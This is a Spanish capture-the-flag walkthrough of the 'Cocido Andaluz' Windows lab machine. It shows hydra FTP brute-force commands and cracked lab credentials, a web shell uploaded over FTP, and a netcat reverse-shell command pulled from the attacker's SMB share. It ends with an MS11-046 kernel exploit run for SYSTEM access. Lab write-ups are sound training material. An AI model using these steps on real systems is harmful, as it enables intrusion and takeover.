# Cocido Andaluz

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FcE0CiRHyf4qkD94Jt591%2Fcocido-andaluz.png?alt=media&#x26;token=987da720-e94a-4fe1-949b-1dafdb5ad8b8" alt=""><figcaption></figcaption></figure>

Hola Hacker, bienvenid@ a otro post.

En este articulo, estaremos resolviendo la máquina [Cocido Andaluz](https://thehackerslabs.com/cocido-andaluz/) de la plataforma [The Hackers Labs](https://thehackerslabs.com/). Si aún no conoces la plataforma, te animo a que la explores y te unas a la comunidad en Discord, donde compartimos y aprendemos juntos.

Ahora si, vamos a la máquina.

## Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FkuDROT9iEKM4qdeHVjE8%2Fimage.png?alt=media&#x26;token=513ac60b-f00b-46b9-ab52-2c071435312a" alt=""><figcaption><p>Reconocimiento usando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

## Enumeración inicial

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F8IL6SsTf8hung3oZUIhv%2FPasted%20image%2020240617211834.png?alt=media&#x26;token=443a27dd-865d-4e65-b25b-72c63845da21" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

Parámetros utilizados:

* `-sS`: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.
* `-sCV`: Es la combinación de los parámetros `-sC` y `-sV`. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.&#x20;
* `-p-`: Indica que debe escanear todos los puertos (es igual a `-p 1-65535`).
* `--open`: Solo considerar puertos abiertos.
* `--min-rate 5000`: Establece el número mínimo de paquetes que nmap enviará por segundo.
* `-Pn`: Desactiva el descubrimiento de host por medio de ping.
* `-vvv`: Activa el modo _verbose_ para que nos muestre resultados a medida que los encuentra.
* `-oG`: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato _grepeable_, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

## Enumeración de servicios

Si enumeramos el servicio SMB a través de una null session, vemos que no tenemos exito.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FeEx6zeP4WxthZyE9KFkz%2Fimage.png?alt=media&#x26;token=1e3a881a-5d62-48ab-b73f-285116f9237e" alt=""><figcaption><p>Enumeración de SMB con una null session</p></figcaption></figure>

Intentamos con el usuario `anonymous` y `guest`, pero tampoco logramos enumerar nada.

### Web

Si accedemos a la web que esta corriendo bajo el puerto 80, nos encontramos con una página html similar a la que presenta una instancia por defecto de Apache. Pero, en realidad el servidor web que esta corriendo en la máquina víctima es IIS tal como vimos en la enumeración realizada con Nmap.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FA9wsgA9TezIPKqwlNaOR%2FPasted%20image%2020240617195637.png?alt=media&#x26;token=373ff374-7ef1-4096-ae04-c4792d2e29b7" alt=""><figcaption><p>Web</p></figcaption></figure>

Podemos confirmar esto por medio de Wappalyzer.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FVCyBv8wGXpC9cBf5bnsJ%2Fimage.png?alt=media&#x26;token=289c8711-b987-46d0-a897-11b94f7dc955" alt=""><figcaption></figcaption></figure>

Si realizamos web fuzzing para descubrir posibles rutas y archivos utilizando extensiones como `html`, `php`, `txt`, `aspx`, no encontraremos ningun recurso.

Por lo tanto, podemos probar con el servicio FTP.

### FTP

Si intentamos loguearnos como el usuario `anonymous`, no tendremos exito. Por lo que una vía posible es realizar fuerza bruta a este servicio utilizando la herramienta `hydra`.

Llevamos a cabo el ataque de fuerza bruta utilizando dos diccionarios, uno para los usuarios y otro para las contraseñas, en este caso, el conocido `rockyou.txt`.

```bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.6 -I -t 4
```

Después de un cierto tiempo realizando fuerza bruta con estos diccionarios y sin tener exito, decidi cambiar a otro dicionario de contraseñas, en este caso, el contemplado dentro de seclists `xato-net-10-million-passwords.txt`.

```bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt ftp://192.168.1.6 -I -t 4
```

Luego de un par de minutos, logramos obtener credenciales validas para este servicio.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FPPILj7k954PnSRIioFBJ%2FPasted%20image%2020240617201227.png?alt=media&#x26;token=a920987c-3901-451f-b633-95ddbe79e2fd" alt=""><figcaption><p>Fuerza Bruta con hydra al servicio FTP</p></figcaption></figure>

```bash
info:PolniyPizdec0211
```

Ahora que tenemos credenciales validas nos logueamos al servicio ftp.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FDudB4YPuiDOxcbmEQlIi%2FPasted%20image%2020240617201340.png?alt=media&#x26;token=4f5cf6e1-a249-4d61-8d09-b1533a36e4ac" alt=""><figcaption></figcaption></figure>

Podemos observar, que existen dos archivos y un directorio. Confirmamos que estos archivos pertenecen al servidor web visualizando la imágen `welcome.png` desde nuestro navegador.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FosdhhcQkj0AU2vZGZIzu%2Fimage.png?alt=media&#x26;token=31b4cce7-2717-4e1b-8854-def512f06ff2" alt=""><figcaption><p>welcome.png</p></figcaption></figure>

Genial. Ahora que tenemos acceso al servicio FTP, podemos subir una web shell.

Para ello, utilizaremos la web shell `cmdasp.aspx`  la cual podemos encontrar en Kali bajo el directorio `/usr/share/webshells/aspx/cmdasp.aspx`.

La subimos al servidor por medio de ftp.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FSsfkV9yKtJ8Y3uksmLZs%2FPasted%20image%2020240617201559.png?alt=media&#x26;token=8ce9a833-5c60-48ed-90f2-fd2d0218d780" alt=""><figcaption><p>Subimos la webshell al servidor</p></figcaption></figure>

Ingresamos a la web y observamos que ya podemos ejecutar comandos a través de nuestra web shell.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FkHOOXD0vNTXVx66IZusM%2FPasted%20image%2020240617201749.png?alt=media&#x26;token=df17e35e-918b-45a9-8d4c-022429b8793f" alt=""><figcaption><p>webshell</p></figcaption></figure>

Para ganar acceso al sistema, crearemos un recurso compartido con `impacket-smbserver` a través del cual compartiremos el binario de `nc.exe` de 32 bits ya que la máquina tiene esta arquitectura, la cual podemos comprobar con `netexec/crackmapexec`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FJ9OezR2EodHziOJKKeXu%2FPasted%20image%2020240617202115.png?alt=media&#x26;token=0df1f253-329b-44ac-9bdc-070e78374adf" alt=""><figcaption><p>netexec</p></figcaption></figure>

Para crear el recurso compartido, haré uso de una utilidad que tengo en mi `.zshrc` la cual, no es más que una función que crea un recurso compartido usando `impacket-smbserver`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1Gv8Y6ewguTUrkuAL4Rl%2FPasted%20image%2020240617202302.png?alt=media&#x26;token=e943cf08-02ac-45e2-827c-020172ecc510" alt=""><figcaption><p>Utilidad para crear un recurso compartido</p></figcaption></figure>

Teniendo en nuestro directorio el binario de `nc.exe` el cual podemos copiar en Kali de la ruta `/usr/share/windows-resources/binaries/nc.exe` creamos el recurso compartido.

```bash
serv.smb
```

Nos ponemos en escucha con nectcat por el puerto 80 haciendo uso de rlwrap para tener una terminal más interativa y utilizar CTRL + L.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos en nuestra web shell el siguiente comando:

```bash
\\192.168.1.15\sharedFolder\nc.exe -e cmd 192.168.1.15 443
```

Ganamos acceso al sistema.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FzVEkZJBdL5NbRZ9lAPn3%2FPasted%20image%2020240617202820.png?alt=media&#x26;token=f91b6ad2-37e0-4113-af41-84c9ee07f4fd" alt=""><figcaption><p>Ganamos acceso al sistema</p></figcaption></figure>

Leemos la flag de `user.txt`

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FVFFP00ORQqvM2BT6zlZL%2FPasted%20image%2020240617205321.png?alt=media&#x26;token=1eee6960-a02c-4bb9-b7f3-f8fc0a9d8e8a" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Elevación de privilegios

Podemos enumerar el sistema para ver formas de escalar nuestros privilegios.

Enumeración del sistema `systeminfo`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FUrqbzZybfBcW7ARNuyHu%2FPasted%20image%2020240617203111.png?alt=media&#x26;token=25d96fc5-93a1-4c42-8d7f-fea87ca9dc4e" alt=""><figcaption><p>systeminfo</p></figcaption></figure>

Para escalar nuestros privilegios utilizamos [Windows Exploit Suggester](https://github.com/bitsadmin/wesng).

En primer lugar, debemos guardar el resultado de la ejecución del comando `systeminfo` en un archivo, por ejemplo: `systeminfo.txt`.

Nos clonamos el repositorio:

```bash
git clone https://github.com/bitsadmin/wesng
```

Luego, debemos ejecutar el siguiente comando:

```bash
python3 wes.py -e /home/d4redevil/ctfs/thl/CocidoAndaluz/content/systeminfo.txt -i 'Elevation of Privilege'
```

El parámeotro `-e` lista solo vulnerabilidades con exploits. Por otra parte, el parámetro `-i` solo muestra aquellas vulnerabilidades que tienen cierto impacto, en este caso, nos interesa elevar nuestros privilegios.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FFvDg4DONqZcYwEM8Cj0O%2FPasted%20image%2020240617203954.png?alt=media&#x26;token=7ec1dbaa-15b9-4d33-9921-395aad7529b2" alt=""><figcaption><p>Windows Exploit Suggester</p></figcaption></figure>

La ejecución del script, nos devuelve varios resultados y exploits que podemos utilizar para escalar nuestros privilegios. En este caso, utilizaré **Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)** el cual explota directamente el Kernel y nos permite elevar nuestros privilegios.

El exploit, lo podemos encontrar [aquí](https://www.exploit-db.com/exploits/40564) o lo que es lo mismo, buscando con la utilidad `searchsploit`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FeYS2CkR5g0c084v4LZYk%2FPasted%20image%2020240617204249.png?alt=media&#x26;token=951d5ad7-65ba-47b4-87e0-67573a52c55e" alt=""><figcaption></figcaption></figure>

Sin embargo, en lugar de compilar el código por nuestra cuenta utilizaremos un binario ya compilado.

Dicho ejecutable, lo podemos descargar de la siguiente [enlace](https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe).

Lo descargamos a nuestra máquina y nuevamente creamos el recurso compartido.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F8uFJ0Msw0rjnvo2NCfuR%2FPasted%20image%2020240617204807.png?alt=media&#x26;token=befd21fd-02a1-4b6e-ab5a-e75203ebca25" alt=""><figcaption><p>Recurso compartido</p></figcaption></figure>

Nos movemos a un directorio donde tengamos capacidad de escritura, como por ejemplo `C:\Windows\Temp` y descargamos el exploit.

```powershell
copy \\192.168.1.15\sharedFolder\ms11-046.exe .
```

Ejecutamos el exploit y escalamos nuestros privilegios a `nt authority\system`.

De esta forma ya podemos leer la flag de `root.txt`

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FaAKRm3PWyIxQsPErhuam%2FPasted%20image%2020240617205440.png?alt=media&#x26;token=da3c8719-c3ac-468f-88f5-dc793df74577" alt=""><figcaption><p>root.txt</p></figcaption></figure>

Concluimos la resolución de la máquina Cocido Andaluz.

Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!
